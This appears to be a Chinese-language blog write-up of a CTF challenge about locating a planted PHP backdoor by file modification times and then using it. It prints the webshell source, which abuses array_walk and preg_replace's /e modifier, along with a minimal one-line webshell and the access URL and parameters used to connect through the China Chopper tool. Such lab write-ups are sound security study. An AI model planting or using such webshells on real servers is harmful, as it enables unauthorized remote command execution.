这是一道很坑的题目......花了我两天时间才搞完
先上解题思路
下载文件,根据题目提示说注意修改时间
一个个查看,当查看到fields文件时
大部分时间为2016.10.30,注入木马的文件是隐蔽的不想被人发现的,
所以应该不会大范围的改动文件,2.12这个文件在10.30这个日期的前面应该不可能,
最后定位到cass-wp-rest-comment-meta-style.php,打开确定是木马文件
或者直接d盾扫描
直接扫出来(真香)
有如下代码:
$e = $_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk($arr, $e, '');
这是一句话木马的变种
这里解释一下:这个后门可以在php5.3下使用,array_walk()函数对数组中的每个元素应用用户自定义函数。在函数中,数组的键名和键值是参数。我们url需要传一个参数e=preg_replace
关于preg_replace,是php的一个函数,preg_replace() 正则替换,与Javascript 正则替换不同,PHP preg_replace() 默认就是替换所有符号匹配条件的元素。而函数中的 /e 这个修饰符的意思就是让 正则替换之后将 replacement 参数当作 PHP 代码。该用法常在 PHP webshell 中出现,参考:http://www.codetc.com/article-241-1.html
preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit] )
所以我们最终的木马构成应该是类似与这种形式
<?php
preg_replace("/.*/e",$_POST["pass"],".");
?>
正则负责对传进来的语句根据规则进行过滤,.* 就是单个字符匹配任意次,即贪婪匹配 ,一般趋向于最大长度匹配。
/e模式是php独有的字符串内容当代码执行,参考链接:https://www.daixiaorui.com/read/252.html
所以要传的url为:/www/fields/class-wp-rest-comment-meta-style.php?e=preg_replace ,密码为pass
接下来菜刀无惧连接(坑点所在!)
这与网上大部分人的解题思路一样,可是博主的菜刀就是连不上去.....
2016版菜连不上....
换一把,2013版菜刀也连不上.....
后来又重启环境,都不行
换一种方法,用pass的内容执行命令
心中狂喜, 去找key的文件
查看key文件
居然为空???有大佬知道原因可以解释一下,百思不得其解
卡了很久,最后上网下载换了一把2011版菜刀
成功了....
总结
1.没系统学过php代码,接触稍微高级复杂一点的函数就有点出力,找个机会系统补一下php
2.被种马后,没有菜刀链接不上的主机,如果有,那就换一把菜刀。